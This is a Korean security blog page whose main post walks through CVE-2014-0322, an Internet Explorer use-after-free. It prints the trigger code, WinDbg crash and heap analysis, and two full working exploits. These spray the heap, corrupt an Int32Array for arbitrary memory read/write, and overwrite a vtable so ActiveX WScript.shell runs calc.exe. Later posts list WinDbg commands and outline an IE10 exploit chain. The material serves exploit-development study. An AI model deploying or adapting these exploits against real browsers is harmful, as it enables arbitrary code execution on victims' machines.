<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body> <script> var array = []; var array_len = 0x250; function createString(character, size) { while (character.length < size) { character += character; } return character.substr(0, (size - 6) / 2); } function handler() { Math.atan2(0xabcd, "[*] Start Handler"); this.outerHTML = this.outerHTML; // free var data = createString("A", 0xac + 0x6); data += unescape("%u4344%u4142"); data += createString("C",0x340); test = data.substr(0, (0x340-6) /2); for (var i=0;i<array_len;i++){ array[i] = document.createElement("button"); array[i].title = test; } Math.atan2(0xabcd, "[*] End Handler"); } function trigger() { Math.atan2(0xabcd, "[*] Trigger Start..."); var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); // use Math.atan2(0xabcd, "[*] Trigger End..."); } trigger(); </script> </body> </html>
0:020> sxe ld jscript9.dll // jscript9 로드시 break
(238.734): Unknown exception - code 000006ba (first chance)
ModLoad: 6ded0000 6e196000 C:\Windows\System32\jscript9.dll
eax=12217000 ebx=00000000 ecx=00201000 edx=00000000 esi=7ff9f000 edi=09e18e5c
eip=77d36c74 esp=09e18d74 ebp=09e18dc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ntdll!KiFastSystemCallRet:
77d36c74 c3 ret
0:020> g
# 브레이크 포인트 설정
더 자세한 분석을 하고 싶다면 kb 10 등의 콜스택 명령을 추가해서 각각의 할당과 해제 루틴을 분석하면 된다.
0:012> bu jscript9!Js::math::atan2 ".printf \"log : %mu\", poi(poi(esp+14)+c);.echo;g"
0:012> bu mshtml!CMarkup::CMarkup ".printf \"Alloc CMarkup %p\", @esi;.echo;g;"
0:012> bu mshtml!CMarkup::~CMarkup ".printf \"Free CMarkup %p\", @ecx;.echo;g;"
0:012> g
log : [*] Trigger Start...
log : [*] Start Handler
Alloc CMarkup 121d2cc0
Free CMarkup 121d2cc0
log : [*] End Handler
Alloc CMarkup 14dfccc0
log : [*] Start Handler
Alloc CMarkup 1423ecc0
Free CMarkup 1423ecc0
Free CMarkup 14dfccc0
log : [*] End Handler
(504.75c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=14e0cfa0 ecx=77d463e0 edx=00061078 esi=14dfccc0 edi=13319fc8
eip=6307100c esp=0967b370 ebp=0967b3d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6307100c ff4678 inc dword ptr [esi+78h] ds:0023:14dfcd38=????????
b = a.appendChild(b);
이제 uaf 분석은 끝났고, 객체 크기(0x340 도 알고 있으니 정확한 크기를 할당하여 LFH 를 이용하면 해제된 메모리에
원하는 값을 다시 할당해줄 수 있다. 현재 버전의 IE 는 isolated heap, protected memory(delayed heap) 이 적용되기 이전이므로
그냥 아래와 같이 할당만 해주면 된다.
var data = createString("A", 0xac + 0x6); data += unescape("%u4344%u4142"); data += createString("C",0x340); test = data.substr(0, (0x340-6) /2); for (var i=0;i<array_len;i++){ array[i] = document.createElement("button"); array[i].title = test; }
이제 브레이크포인트를 해제하고, .restart 로 재시작을 해 보자.
eax=41424344 ebx=046ac718 ecx=00000191 edx=05cdcd10 esi=05cdcd10 edi=04746bc0
eip=630d1b97 esp=04a1b4ac ebp=04a1b518 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16:
630d1b97 ff4010 inc dword ptr [eax+10h] ds:0023:41424354=????????
eax 의 값이 할당된 곳을 확인해 보자.
0:011> u @eip-d l 10
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x9:
630d1b8a 89427c mov dword ptr [edx+7Ch],eax
630d1b8d 8b82ac000000 mov eax,dword ptr [edx+0ACh] // eax 할당
630d1b93 85c0 test eax,eax
630d1b95 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (630d1b9a)
630d1b97 ff4010 inc dword ptr [eax+10h] // crash
630d1b9a 8b8a94000000 mov ecx,dword ptr [edx+94h]
630d1ba0 33c0 xor eax,eax
630d1ba2 85c9 test ecx,ecx
630d1ba4 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28 (630d1ba9)
630d1ba6 8b410c mov eax,dword ptr [ecx+0Ch]
630d1ba9 83b8c001000000 cmp dword ptr [eax+1C0h],0
630d1bb0 7427 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x50 (630d1bd9)
630d1bb2 33c0 xor eax,eax
630d1bb4 85c9 test ecx,ecx
630d1bb6 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x3a (630d1bbb)
630d1bb8 8b410c mov eax,dword ptr [ecx+0Ch]
0:011> dd edx+ac
05cdcdbc 41424344 00430043 00430043 00430043
05cdcdcc 00430043 00430043 00430043 00430043
05cdcddc 00430043 00430043 00430043 00430043
05cdcdec 00430043 00430043 00430043 00430043
05cdcdfc 00430043 00430043 00430043 00430043
05cdce0c 00430043 00430043 00430043 00430043
05cdce1c 00430043 00430043 00430043 00430043
05cdce2c 00430043 00430043 00430043 00430043
0:011> r
위 trigger() 함수를 이용해서 int32array 의 길이값, rawbuffer 주소를 변조하고, 프로세스 전체 접근 권한을 얻는다.
이후에는 int32array 읽기/쓰기 함수를 이용해서 jscript, mshtml 주소값과 목표 vtable 주소를 얻고,
최종적으로 godmode 를 켜준다.
전체 Exploit 코드는 아래와 같다.
<html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <script language="javascript"> var array = []; var array_len = 0x250; function getFiller(n) { return new Array(n + 1).join("a"); } function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000);} function handler() { this.outerHTML = this.outerHTML; // free var data = getFiller(0x94 / 2) + getDwordStr(0xc0af010) + getFiller((0xac - (0x94 + 4)) / 2) + getDwordStr(0xc0af00b) + getFiller((0x1a4 - (0xac + 4)) / 2) + getDwordStr(0x11111) + getFiller((0x340 - (0x1a4 + 4)) / 2 - 1); test = data.substr(0, (0x340 - 6) / 2); // Fake Object -> LFH (size: 0x340) for (var i = 0; i < array_len; i++) { array[i] = document.createElement("button"); array[i].title = test; } } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); // use } (function() { // clear memory CollectGarbage(); a = new Array(); for (i = 0; i < 0x200; ++i) { a[i] = new Array(0x3c00); if (i == 0x80) buf = new ArrayBuffer(0x58); for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } for (; i < 0x200 + 0x400; ++i) { a[i] = new Array(0x3bf8) for (j = 0; j < 0x55; ++j) a[i][j] = new Int32Array(buf) } // inc * 0x20 : 0x0c0af01b(00->20) // 00 00 00 16 -> 20 00 00 16 for (var k = 0; k < 0x20; ++k) { trigger(); } //alert("Set byte at 0c0af01b to 0x20"); // find modified Int32Array int32array = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { for (j = 0; j < 0x55; ++j) { if (a[i][j].length != 0x58 / 4) { int32array = a[i][j]; break; } } if (int32array != 0) break; } if (int32array == 0) { //alert("Can't find int32array!"); window.location.reload(); return; } // validate memory array // to get buf_addr var vftptr1 = int32array[0x60 / 4], vftptr2 = int32array[0x60 * 2 / 4], vftptr3 = int32array[0x60 * 3 / 4], nextPtr1 = int32array[(0x60 + 0x24) / 4], nextPtr2 = int32array[(0x60 * 2 + 0x24) / 4], nextPtr3 = int32array[(0x60 * 3 + 0x24) / 4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { window.location.reload(); return; } // Int32Array address buf_addr = nextPtr1 - 0x60 * 2; // validate int32array addr // 0x0c0af01c => buf_addr // 0x0c0af01c => buf_addr + offset // offset = 0x0c0af01c - buf addr if (int32array[(0x0c0af01c - buf_addr) / 4] != buf_addr) { window.location.reload(); return; } /* before 0:021> dd 0x0c0af000 0c0af000 6ded3b60 05439760 00000000 00000003 0c0af010 00000004 00000000 20000016 0205fc30 */ //int32array[(0x0c0af018 - buf_addr) / 4] = 0x20000000; // new length int32array[(0x0c0af01c - buf_addr) / 4] = 0; // new buffer address, full memory access!! /* after 0:027> dd 0x0c0af000 0c0af000 6ded3b60 054398a0 00000000 00000003 0c0af010 00000004 00000000 20000000 00000000 */ function read(address) { var k = address & 3; if (k == 0) { // address % 4 == 0 return int32array[address / 4]; } else { return (int32array[(address - k) / 4] >> k * 8) | (int32array[(address - k + 4) / 4] << (32 - k * 8)); } } function write(address, value) { var k = address & 3; if (k == 0) { // address % 4 == 0 int32array[address / 4] = value; } else { var low = int32array[(address - k) / 4]; var high = int32array[(address - k + 4) / 4]; var mask = (1 << k * 8) - 1; // 0xff or 0xffff or 0xffffff low = (low & mask) | (value << k * 8); high = (high & (0xffffffff - mask)) | (value >> (32 - k * 8)); int32array[(address - k) / 4] = low; int32array[(address - k + 4) / 4] = high; } } // God mode !! // jscript9.dll base address = int32array vftable - offset jscript9 = read(0x0c0af000) - 0x3b60; //alert("jscript9.dll base address\n0x"+jscript9.toString(16)); for (i = 0x200; i < 0x200 + 0x400; ++i) a[i][0x3bf7] = 0; // 0x0c0af000-4 => find last array addr //================================== // array [0~~~ 0x3bf7] // 0x0c0af000 [int32array] write(0x0c0af000 - 4, 3); leakArray = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { if (a[i][0x3bf7] != 0) { leakArray = a[i]; break; } } if (leakArray == 0) { alert("Can't find leakArray!"); window.location.reload(); return; } function get_addr(obj) { // leakarray[0x3bf7] == 0x0c0af000-4 leakArray[0x3bf7] = obj; return read(0x0c0af000 - 4); } // div elements first 4 bytes => jscript9!Projection::ArrayObjectInstance::`vftable' // div elements +0x10 bytes => MSHTML!CBaseTypeOperations::CBaseFinalizer var addr = get_addr(document.createElement("div")); // MSHTML!CBaseTypeOperations::CBaseFinalizer Vtable = mshtml + 0x58b9a mshtml = read(addr + 0x10) - 0x58b9a; //var old = read(mshtml + 0xc555e0 + 0x14); write(mshtml + 0xc555e0 + 0x14, jscript9 + 0xdc164); // God mode on shell = new ActiveXObject("WScript.shell"); shell.Exec('calc.exe'); //write(mshtml + 0xc555e0 + 0x14, old); // God mode off //alert("All done!"); })(); </script> </head> <body> </body> </html>
거의 99% 신뢰도로 Exploit 성공한다. 중간중간 확인 후 memory layout 이 맞지 않으면 reload 해주기 때문이다.
자세한 설명은 고급과정에서 자세히!
Internet Explorer 10 Exploit - God mode
# IE 10 Exploit (using God mode)
activex object 중 아래 소스에 포함된 wscript.shell 과 같이 권한이 너무 강력해서 취약한 object 는
보안 정책에 의해 default 로 사용이 불가하다. 허용으로 바꿔준다 하더라도 경고창에서 직접 승인을 눌러줘야만 한다.
=====================================
<html>
<head>
<script language="javascript">
shell = new ActiveXObject("WScript.shell");
shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>
=====================================
하지만, 아래와 같은 단계로 우회가 가능하다.
1) 먼저, 특정 주소의 값을 바꿀 수 있는 상태여야 한다.
ex1) js array length modify
ex2) flash vector length modify
=> 보통 1 byte 변조로 객체 length 변조 후, 변조된 객체로 2차 다른 객체의 길이를 0x3fffffff 등으로 바꿔서 전체 프로세스 메모리 접근 권한을 획득함
=> cve-2014-0322(snowman) 참고(값 1 증가 uaf)
2) jscript9!ScriptEngine::CanObjectRun 함수 내부의 객체(s_apfnPlainTearoff) 의 vtable 을 조작하여 CanObjectRun 함수 결과값을 항상 true 로 조작
3) 자바스크립트로 calc 마음대로 실행 가능(Godmode on)
이러한 방법으로 임의코드 실행을 하는 것을 godmode 를 이용한 Exploit 이라 부른다. VBScript 에서도 된다고 함.
====== 디버깅 과정 ======
1) 허용하시겠습니까? alert 창 상태에서 BP 걸고 콜스택을 통해 호출 함수 확인
0:007> x user32!create*
브뽀 걸리면
0:012> kb 10
# ChildEBP RetAddr Args to Child
00 047aacf4 71003ccf 00000000 66e6bc38 047aadcc user32!CreateWindowExW
01 047aad34 66e4697a 00000000 66e6bc38 047aadcc IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64
02 047aad74 66dd213d 00000000 66e6bc38 047aadcc IEFRAME!SHFusionCreateWindowEx+0x47
03 047aaed0 66dd1f39 047aaf24 00000fa6 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0x3c1
04 047aaf1c 66dd1e23 00000000 047aaf48 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xea
05 047aaf3c 7101a148 001005bc 047aaf68 047aaf54 IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b
06 047aaf58 76cc5742 76c30000 00000fa6 001005bc IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31
07 047ab788 76ceba1c 001005bc 00000fa6 76cc3058 urlmon!CSecurityManager::DisplayMessage+0x40
08 047abb2c 76c70f7b 0cb6835c 00001204 047abbdc urlmon!memset+0x11504
09 047abb70 65ff5a0b 05b9bc78 0cb6835c 00001204 urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f
0a 047abbe4 65ff5b07 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction2+0x31d
0b 047abc14 66b35f88 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction+0x3e
0c 047abca0 660c2e27 00000001 65f36348 0d32a9a4 MSHTML!memcpy+0xff91b
0d 047abce4 6e85bb25 0b4da290 6e85bb60 047abd1c MSHTML!CDocument::HostQueryCustomPolicy+0x148
0e 047abd5c 6e85b79c 0d32a9a4 00000002 01d13120 jscript9!ScriptEngine::CanObjectRun+0x78
0f 047abda8 6e85b5cf 00000000 047abdd4 5bda28d7 jscript9!ScriptSite::CreateObjectFromProgID+0xdf
jscript9!ScriptEngine::CanObjectRun+0x78 이 부분을 통해 실행 여부가 결정됨.
또한, 해당 함수는 CreateObjectFromProgID 내부에서 호출됨.
2) 함수 분석
# CreateObjectFromProgID 분석
0:012> uf jscript9!ScriptSite::CreateObjectFromProgID
jscript9!ScriptSite::CreateObjectFromProgID:
6e85b6b9 8bff mov edi,edi
6e85b6bb 55 push ebp
...(중략)...
6e85b78c 8b4ddc mov ecx,dword ptr [ebp-24h]
6e85b78f ff33 push dword ptr [ebx]
6e85b791 8b4904 mov ecx,dword ptr [ecx+4]
6e85b794 8d55ec lea edx,[ebp-14h]
6e85b797 e811030000 call jscript9!ScriptEngine::CanObjectRun (6e85baad) // CanObjectRun 결과에 따라서 실행여부 결정
6e85b79c 85c0 test eax,eax
6e85b79e 0f844c7c0800 je jscript9!ScriptSite::CreateObjectFromProgID+0xfd (6e8e33f0) Branch
포인트는 CanObjectRun 결과값 (EAX) 이 0 만 아니면 참이 되어 곧바로 실행 된다는 것!!(godmode)!
이를 위해 CanObjectRun 을 분석하여 0이 아닌 값을 리턴하도록 조작해줘야 한다. 내부에서 사용되는 객체 하나의 VTable 을 조작한다.
# CanObjectRun 분석
0:006> uf jscript9!ScriptEngine::CanObjectRun
jscript9!ScriptEngine::CanObjectRun:
6e85baad 8bff mov edi,edi
6e85baaf 55 push ebp
6e85bab0 8bec mov ebp,esp
6e85bab2 83ec48 sub esp,48h
...(중략)...
6e85bb12 52 push edx
6e85bb13 8d55c0 lea edx,[ebp-40h]
6e85bb16 52 push edx
6e85bb17 6860bb856e push offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (6e85bb60)
6e85bb1c 895de4 mov dword ptr [ebp-1Ch],ebx
6e85bb1f 8b08 mov ecx,dword ptr [eax]
6e85bb21 50 push eax
6e85bb22 ff5114 call dword ptr [ecx+14h] // 이 호출을 조작하기 위해 VTable 을 덮어씀
=> 이 호출 직전 eax 는 0이 아니므로, 이 상태로 call 명령과 동시에 함수가 바로 종료되도록 에필로그로 덮어씀
=> VTable 은 항상 일정한 Offset 이고, 취약점으로 메모리 읽기/쓰기가 가능하므로 조작 가능
# 조작할 오프셋 구하기
009> bp jscript9!ScriptEngine::CanObjectRun+0x75
009> g
jscript9!ScriptEngine::CanObjectRun+0x75:
6e85bb22 ff5114 call dword ptr [ecx+14h] ds:0023:66b67884={MSHTML!TearoffThunk5 (6601e30e)}
0:012> ln @ecx // 현재 호출된 객체 심볼 확인
Exact matches:
MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:012> dds ecx // VTable 확인
66b67870 65f3dd56 MSHTML!PlainQueryInterface
66b67874 65f3d69d MSHTML!CAPProcessor::AddRef
66b67878 65f3d6b5 MSHTML!PlainRelease
66b6787c 65f3c1d2 MSHTML!TearoffThunk3
66b67880 6601b017 MSHTML!TearoffThunk4
66b67884 6601e30e MSHTML!TearoffThunk5
66b67888 6601f130 MSHTML!TearoffThunk6
66b6788c 6637e99d MSHTML!TearoffThunk7
원래 호출되는 주소는 VTable 에서 0x14 떨어진 6번째 함수임(MSHTML!TearoffThunk5). 이 주소를 에필로그 주소로 덮어씀
# 덮어써야할 주소 => VTable Offset 계산
0:012> ? MSHTML!s_apfnPlainTearoffVtable-mshtml
Evaluate expression: 13006960 = 00c67870
# 덮어쓸 주소 => 에필로그 Offset 계산
0:012> ? 6e85bb5c - jscript9
Evaluate expression: 899932 = 000dbb5c
# mshtml base addr 구하기 => div element 생성하면 + 0x10 에 MSHTML!CBaseTypeOperations::CBaseFinalizer 주소가 있음.
0:023> ? MSHTML!CBaseTypeOperations::CBaseFinalizer - mshtml
Evaluate expression: 249949 = 0003d05d
이제 전체 코드를 실행하고 alert 창이 뜨면 TypedArray<int> 객체의 length 를 변조해 준다.
힙스프레이를 통해 항상 0x0c0af000 에 위치한다.
0:023> dd 0x0c0af000
0c0af000 68d238c8 057e98a0 00000000 00000003
0c0af010 00000004 00000000 00000016 0225baa0
0c0af020 05da2e20 00000000 00000000 00000000
0c0af030 68d238c8 057e98a0 00000000 00000003
0c0af040 00000004 00000000 00000016 0225baa0
0c0af050 05da2e20 00000000 00000000 00000000
0c0af060 68d238c8 057e98a0 00000000 00000003
0c0af070 00000004 00000000 00000016 0225baa0
0:020> ed 0x0c0af018 0x20000000
0:023> dd 0x0c0af000
0c0af000 68d238c8 057e98a0 00000000 00000003
0c0af010 00000004 00000000 20000000 0225baa0
0c0af020 05da2e20 00000000 00000000 00000000
0c0af030 68d238c8 057e98a0 00000000 00000003
0c0af040 00000004 00000000 00000016 0225baa0
0c0af050 05da2e20 00000000 00000000 00000000
0c0af060 68d238c8 057e98a0 00000000 00000003
0c0af070 00000004 00000000 00000016 0225baa0
정상적으로 calc 가 실행된다.
<html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <script language="javascript"> (function() { alert("Starting!"); //----------------------------------------------------- // From one-byte-write to full process space read/write //----------------------------------------------------- a = new Array(); // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte ArrayBuffer (buf) // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . for (i = 0; i < 0x200; ++i) { a[i] = new Array(0x3c00); if (i == 0x80) buf = new ArrayBuffer(0x58); // must be exactly 0x58! for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } // 0x0: ArrayDataHead // 0x20: array[0] address // 0x24: array[1] address // ... // 0xf000: Int32Array // 0xf030: Int32Array // ... // 0xffc0: Int32Array // 0xfff0: align data for (; i < 0x200 + 0x400; ++i) { a[i] = new Array(0x3bf8) for (j = 0; j < 0x55; ++j) a[i][j] = new Int32Array(buf) } // vftptr => jscript9!Js::TypedArray<int> // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020 // 0c0af020: 03133de0 array_len buf_addr // jsArrayBuf alert("Set byte at 0c0af01b to 0x20"); // Now let's find the Int32Array whose length we modified. int32array = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { for (j = 0; j < 0x55; ++j) { if (a[i][j].length != 0x58/4) { int32array = a[i][j]; break; } } if (int32array != 0) break; } if (int32array == 0) { alert("Can't find int32array!"); window.location.reload(); return; } // This is just an example. // The buffer of int32array starts at 03c1f178 and is 0x58 bytes. // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8. // The value in parentheses, at 03c1f178+0x60+0x24, points to the following // LargeHeapBlock. // // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000 // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020 // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000 // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000 // 03c1f238: ... // We check that the structure above is correct (we check the first LargeHeapBlocks). // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18 var vftptr1 = int32array[0x60/4], vftptr2 = int32array[0x60*2/4], vftptr3 = int32array[0x60*3/4], nextPtr1 = int32array[(0x60+0x24)/4], nextPtr2 = int32array[(0x60*2+0x24)/4], nextPtr3 = int32array[(0x60*3+0x24)/4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { alert("Error!"); window.location.reload(); return; } buf_addr = nextPtr1 - 0x60*2; // Now we modify int32array again to gain full address space read/write access. if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) { alert("Error!"); window.location.reload(); return; } int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address function read(address) { var k = address & 3; if (k == 0) { // #### return int32array[address/4]; } else { alert("to debug"); // .### #... or ..## ##.. or ...# ###. return (int32array[(address-k)/4] >> k*8) | (int32array[(address-k+4)/4] << (32 - k*8)); } } function write(address, value) { var k = address & 3; if (k == 0) { // #### int32array[address/4] = value; } else { // .### #... or ..## ##.. or ...# ###. alert("to debug"); var low = int32array[(address-k)/4]; var high = int32array[(address-k+4)/4]; var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff low = (low & mask) | (value << k*8); high = (high & (0xffffffff - mask)) | (value >> (32 - k*8)); int32array[(address-k)/4] = low; int32array[(address-k+4)/4] = high; } } //--------- // God mode //--------- // At 0c0af000 we can read the vfptr of an Int32Array: // jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60 //jscript9 = read(0x0c0af000) - 0x3b60; 원본 jscript9 = read(0x0c0af000) - 0x38c8; // by hyunmini // Now we need to determine the base address of MSHTML. We can create an HTML // object and write its reference to the address 0x0c0af000-4 which corresponds // to the last element of one of our arrays. // Let's find the array at 0x0c0af000-4. for (i = 0x200; i < 0x200 + 0x400; ++i) a[i][0x3bf7] = 0; // We write 3 in the last position of one of our arrays. IE encodes the number x // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart. // Either we use an odd number or a valid address otherwise IE will crash in the // following for loop. write(0x0c0af000-4, 3); leakArray = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { if (a[i][0x3bf7] != 0) { leakArray = a[i]; break; } } if (leakArray == 0) { alert("Can't find leakArray!"); window.location.reload(); return; } function get_addr(obj) { leakArray[0x3bf7] = obj; return read(0x0c0af000-4, obj); } // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' // v // 70792248 0c012b40 00000000 00000003 // 73b38b9a 00000000 00574230 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a var addr = get_addr(document.createElement("div")); //mshtml = read(addr + 0x10) - 0x58b9a; 원본 mshtml = read(addr + 0x10) - 0x3d05d; // by hyunmini // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where: // * mshtml+0xc555e0 is the address of the vftable we want to modify; // * jscript9+0xdc164 points to the code "leave / ret 4". // As a result, jscript9!ScriptEngine::CanObjectRun returns true. //var old = read(mshtml+0xc555e0+0x14); // 원본 var old = read(mshtml+0xc67870+0x14); // by hyunmini //write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on! 원본 write(mshtml+0xc67870+0x14, jscript9+0xdbb5c); // God mode on! by hyunmini shell = new ActiveXObject("WScript.shell"); shell.Exec('calc.exe'); write(mshtml+0xc67870+0x14, old); // God mode off! by hyunmini alert("All done!"); })(); </script> </head> <body> </body> </html>
'Windows System Hacking' 카테고리의 다른 글
[개정판] "윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇" 출간 안내 (3) | 2019.12.04 |
---|---|
[번역] Smashing The Browser: From Vulnerability Discovery To Exploit (0) | 2017.11.15 |
쉘코드 인코더 구현 / GetPC - 현재 실행 코드(eip, pc) 구하는 방법 (1) | 2015.01.12 |
Windows Heap Internals (0) | 2014.12.17 |
Paimei - pstalker 모듈 소개 (0) | 2013.06.19 |
WinDBG 고급 명령어들
WinDBG 고급 분석을 위한 명령어들 간단 정리
# 설정 미리 해놓기(배치파일)
- windbg.bat
"C:\Program Files\Windows Kits\10\Debuggers\x86\windbg.exe" -c".symfix+;.load c:\\blwdbgue.dll;g" "c:\program files\internet explorer\iexplore.exe"
# syntax color highlight
- blwdbgue 다운로드 및 .load 로 로드
# 심볼 설정 쉽게 하기
0:009> .symfix+
# 심볼 확인
0:009> x jscript9!JS::JavascriptArray::*
6548df1c jscript9!Js::JavascriptArray::IsEnumerable (<no parameter info>)
6534cdfb jscript9!Js::JavascriptArray::GetFromIndex (<no parameter info>)
6548fa51 jscript9!Js::JavascriptArray::BigIndex::BigIndex (<no parameter info>)
6548deb2 jscript9!Js::JavascriptArray::SetEnumerable (<no parameter info>)
653ba673 jscript9!Js::JavascriptArray::EntrySome (<no parameter info>)
65327b86 jscript9!Js::JavascriptArray::HasItem (<no parameter info>)
652a2f78 jscript9!Js::JavascriptArray::`vftable' = <no type information>
6548f898 jscript9!Js::JavascriptArray::BigIndex::SetItem (<no parameter info>)
6548dff8 jscript9!Js::JavascriptArray::IsDirectAccessArray (<no parameter info>)
6534be75 jscript9!Js::JavascriptArray::Sort (<no parameter info>)
65531508 jscript9!Js::JavascriptArray::EntryInfo::Map = <no type information>
653a6b3e jscript9!Js::JavascriptArray::EntryIsArray (<no parameter info>)
0:009> x jscript9!JS::JavascriptArray::Get*
0:009> x jscript9!JS::JavascriptArray::Set*
# 하드웨어 bp (access)
- ba w4 0x1f1f0000
# 주소 정보 출력
- 0:009> x jscript9!JS::JavascriptArray::*
# 힙 정보 확인(page heap, stack trace 설정해야 자세히 보임)
- !heap -p -a 0x254a0a12
# 로드된 모듈 정보 출력
0:009> lm
start end module name
013a0000 0145c000 iexplore (deferred)
04780000 048ac000 Cooxie (deferred)
05a80000 05a9e000 iToolsBHO (deferred)
63b90000 63d53000 d3d9 (deferred)
63ec0000 65297000 Flash32_25_0_0_171 (deferred)
652a0000 65562000 jscript9 (pdb symbols) C:\Program Files\Windows Kits\10\Debuggers\x86\sym\jscript9.pdb\6E55E6B5AC4B4699BFCF4B58510435202\jscript9.pdb
65570000 656a6000 DWrite (deferred)
656b0000 659f7000 d2d1 (deferred)
65f00000 66cbd000 MSHTML (pdb symbols) C:\Program Files\Windows Kits\10\Debuggers\x86\sym\mshtml.pdb\98191859560C471FB6BA0B1D33DAACCB2\mshtml.pdb
66cc0000 679e9000 IEFRAME (pdb symbols) C:\Program Files\Window
'Reversing' 카테고리의 다른 글
IDA Hexray 문자열이 제대로 보이지 않을때 옵션 설정방법 (0) | 2018.09.20 |
---|---|
암호학 정리(for CTF) (0) | 2018.04.05 |
DBI - pin & pintool (4) | 2017.05.22 |
DBI - Frida 를 이용한 DBI (3) | 2016.09.07 |
Embedded 기기 리버싱 - 펌웨어 리버싱 (1) | 2016.07.14 |
Internet Explorer 10 Exploit 간단 정리
예전에 activex 취약점을 몇개 찾아서 계산기 실행 poc 작성하며 공부했던 것들을 겸사겸사 정리해 둔다.
일단 보호기법들이 꽤 많은데...
기본적인 Stack Cookie, SafeSEH, SEHOP, DEP/ASLR 외에도 IE 10 이상부터 적용된(또는 2014 년도 보안 패치 이후부터)
Isolated Heap, Memory Protector(delayed free), VTable Guard, force ASLR 등이 있다.
결론적으로 무조건 다 100% 우회됩니다 라는 건 없지만 info leak 취약점 1개를 추가로 이용하면 대부분은 우회가 가능했다.
이용한 infoleak poc 가 Isolated Heap, Delayed Free 를 우회한 것이라서 stackpivoting -> dynamci rop -> 쉘코드 실행 만으로 공격에 성공했다.
아래 그림은 영문 버전이지만 한글 버전에서도 vtable offset 만 조절해주면 공격이 잘 되는 것을 확인했다.
# 간단 정리
1) crash 발견
2) eip 컨트롤
3) 쉘코드 작성
4) dynamic rop + shellcode 힙스프레이 코드 작성
5) stack pivoting (esp => 쉘코드) 가젯 확인
6) 전체 exploit 코드 작성
infoleak -> heapspray -> stackpivot -> rop -> shellcode ~!!
끝. 자세한 설명은 나중에 고급강좌에서!
그누보드 최신버전(5.1.13) SQL Injection 취약점
작년 해당 취약점을 발견 후 제보를 했고 패치도 금방 되었다. 이미 1년이 넘게 지났으니 이제 공개해도 될것 같아 공개한다.
사실 관리자 페이지에서 발생하는 취약점이기 때문에 활용도가 크지는 않다.
